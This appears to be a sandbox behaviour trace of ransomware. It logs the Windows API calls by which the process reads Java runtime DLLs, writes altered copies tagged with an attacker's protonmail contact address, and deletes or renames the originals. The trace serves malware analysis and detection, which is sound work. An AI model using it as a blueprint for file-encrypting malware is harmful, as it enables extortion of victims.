	[0208.059] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.059] lstrlenW (lpString=".doc") returned 4
	[0208.059] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString=".docx") returned 5
	[0208.059] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1
	[0208.059] lstrlenW (lpString=".pdf") returned 4
	[0208.059] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString=".xls") returned 4
	[0208.059] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString=".xlsx") returned 5
	[0208.059] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1
	[0208.059] lstrlenW (lpString=".ppt") returned 4
	[0208.059] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.059] lstrlenW (lpString=".zip") returned 4
	[0208.059] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString=".rar") returned 4
	[0208.059] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.059] lstrlenW (lpString=".bz2") returned 4
	[0208.059] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.059] lstrlenW (lpString=".7z") returned 3
	[0208.059] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.060] lstrlenW (lpString=".dbf") returned 4
	[0208.060] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.060] lstrlenW (lpString=".1cd") returned 4
	[0208.060] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.060] lstrlenW (lpString=".jpg") returned 4
	[0208.060] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.060] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0208.060] lstrlenW (lpString="resource.dll") returned 12
	[0208.060] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.061] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=15424) returned 1
	[0208.061] CloseHandle (hObject=0x358) returned 1
	[0208.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20
	[0208.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.061] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.061] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0208.062] GetLastError () returned 0x0
	[0208.062] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x3c40, lpOverlapped=0x0) returned 1
	[0208.428] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x3c50, lpOverlapped=0x0) returned 1
	[0208.430] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.430] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.430] SetEndOfFile (hFile=0x368) returned 1
	[0208.430] CloseHandle (hObject=0x368) returned 1
	[0208.430] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.430] SetEndOfFile (hFile=0x358) returned 1
	[0208.431] CloseHandle (hObject=0x358) returned 1
	[0208.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) 

Thread:
	id = 98
	os_tid = 0xfa0

	[0205.128] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3de2760
	[0205.128] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3df2768
	[0205.129] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df0f8
	[0205.129] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec730
	[0205.129] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df110
	[0205.129] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x40a0020
	[0205.131] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df128
	[0205.131] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df128, Size=0x20) returned 0x59e158
	[0205.131] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df128
	[0205.131] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df128, Size=0x20) returned 0x59df28
	[0205.132] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.132] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.132] Wow64DisableWow64FsRedirection (in: OldValue=0x367ff50 | out: OldValue=0x367ff50*=0x0) returned 1
	[0205.132] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.132] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e158 | out: hHeap=0x560000) returned 1
	[0205.132] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.132] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59df28 | out: hHeap=0x560000) returned 1
	[0205.132] Sleep (dwMilliseconds=0x64) 
	[0205.340] Sleep (dwMilliseconds=0x64) 
	[0205.693] Sleep (dwMilliseconds=0x64) 
	[0206.000] Sleep (dwMilliseconds=0x64) 
	[0206.358] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.358] lstrlenW (lpString="msvcp120.dll") returned 12
	[0206.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0206.359] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=660128) returned 1
	[0206.359] CloseHandle (hObject=0x35c) returned 1
	[0206.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20
	[0206.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0206.360] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.360] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0206.368] GetLastError () returned 0x0
	[0206.368] ReadFile (in: hFile=0x35c, lpBuffer=0x40a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesRead=0x367fecc*=0xa12a0, lpOverlapped=0x0) returned 1
	[0206.843] WriteFile (in: hFile=0x360, lpBuffer=0x40a0020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesWritten=0x367fc94*=0xa12b0, lpOverlapped=0x0) returned 1
	[0206.856] ReadFile (in: hFile=0x35c, lpBuffer=0x40a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.856] WriteFile (in: hFile=0x360, lpBuffer=0x40a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesWritten=0x367fc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.856] SetEndOfFile (hFile=0x360) returned 1
	[0206.856] CloseHandle (hObject=0x360) returned 1
	[0206.856] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.856] SetEndOfFile (hFile=0x35c) returned 1
	[0206.862] CloseHandle (hObject=0x35c) returned 1
	[0206.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0206.863] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1
	[0206.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.863] lstrlenW (lpString=".doc") returned 4
	[0206.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString=".docx") returned 5
	[0206.864] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0206.864] lstrlenW (lpString=".pdf") returned 4
	[0206.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString=".xls") returned 4
	[0206.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString=".xlsx") returned 5
	[0206.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0206.864] lstrlenW (lpString=".ppt") returned 4
	[0206.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString=".zip") returned 4
	[0206.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString=".rar") returned 4
	[0206.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString=".bz2") returned 4
	[0206.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.864] lstrlenW (lpString=".7z") returned 3
	[0206.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString=".dbf") returned 4
	[0206.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString=".1cd") returned 4
	[0206.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString=".jpg") returned 4
	[0206.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.864] lstrlenW (lpString=".doc") returned 4
	[0206.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString=".docx") returned 5
	[0206.865] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0206.865] lstrlenW (lpString=".pdf") returned 4
	[0206.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString=".xls") returned 4
	[0206.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString=".xlsx") returned 5
	[0206.865] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0206.865] lstrlenW (lpString=".ppt") returned 4
	[0206.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.865] lstrlenW (lpString=".zip") returned 4
	[0206.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString=".rar") returned 4
	[0206.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.865] lstrlenW (lpString=".bz2") returned 4
	[0206.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.865] lstrlenW (lpString=".7z") returned 3
	[0206.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.865] lstrlenW (lpString=".dbf") returned 4
	[0206.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.865] lstrlenW (lpString=".1cd") returned 4
	[0206.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0206.865] lstrlenW (lpString=".jpg") returned 4
	[0206.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.865] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.866] lstrlenW (lpString="nio.dll") returned 7
	[0206.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0206.866] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=60480) returned 1
	[0206.866] CloseHandle (hObject=0x35c) returned 1
	[0206.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20
	[0206.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0206.867] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.867] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0206.867] GetLastError () returned 0x0
	[0206.867] ReadFile (in: hFile=0x35c, lpBuffer=0x40a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesRead=0x367fecc*=0xec40, lpOverlapped=0x0) returned 1
	[0207.234] WriteFile (in: hFile=0x360, lpBuffer=0x40a0020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesWritten=0x367fc94*=0xec50, lpOverlapped=0x0) returned 1
	[0207.564] ReadFile (in: hFile=0x35c, lpBuffer=0x40a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.564] WriteFile (in: hFile=0x360, lpBuffer=0x40a0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x40a0020*, lpNumberOfBytesWritten=0x367fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0207.564] SetEndOfFile (hFile=0x360) returned 1
	[0208.088] CloseHandle (hObject=0x360) returned 1
	[0208.088] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.096] SetEndOfFile (hFile=0x35c) returned 1
	[0208.130] CloseHandle (hObject=0x35c) returned 1
	[0208.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.130] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1
	[0208.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.130] lstrlenW (lpString=".doc") returned 4
	[0208.130] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.130] lstrlenW (lpString=".docx") returned 5
	[0208.131] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0208.131] lstrlenW (lpString=".pdf") returned 4
	[0208.131] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString=".xls") returned 4
	[0208.131] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString=".xlsx") returned 5
	[0208.131] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0208.131] lstrlenW (lpString=".ppt") returned 4
	[0208.131] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString=".zip") returned 4
	[0208.131] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString=".rar") returned 4
	[0208.131] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString=".bz2") returned 4
	[0208.131] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.131] lstrlenW (lpString=".7z") returned 3
	[0208.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString=".dbf") returned 4
	[0208.131] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString=".1cd") returned 4
	[0208.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString=".jpg") returned 4
	[0208.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.131] lstrlenW (lpString=".doc") returned 4
	[0208.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString=".docx") returned 5
	[0208.132] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0208.132] lstrlenW (lpString=".pdf") returned 4
	[0208.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString=".xls") returned 4
	[0208.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString=".xlsx") returned 5
	[0208.132] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0208.132] lstrlenW (lpString=".ppt") returned 4
	[0208.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.132] lstrlenW (lpString=".zip") returned 4
	[0208.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString=".rar") returned 4
	[0208.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.132] lstrlenW (lpString=".bz2") returned 4
	[0208.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.132] lstrlenW (lpString=".7z") returned 3
	[0208.132] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.132] lstrlenW (lpString=".dbf") returned 4
	[0208.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.132] lstrlenW (lpString=".1cd") returned 4
	[0208.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.132] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0208.132] lstrlenW (lpString=".jpg") returned 4
	[0208.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.132] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0208.133] lstrlenW (lpString="jvm.dll") returned 7
	[0208.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0208.133] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=8809536) returned 1
	[0208.133] CloseHandle (hObject=0x35c) returned 1
	[0208.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20
	[0208.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
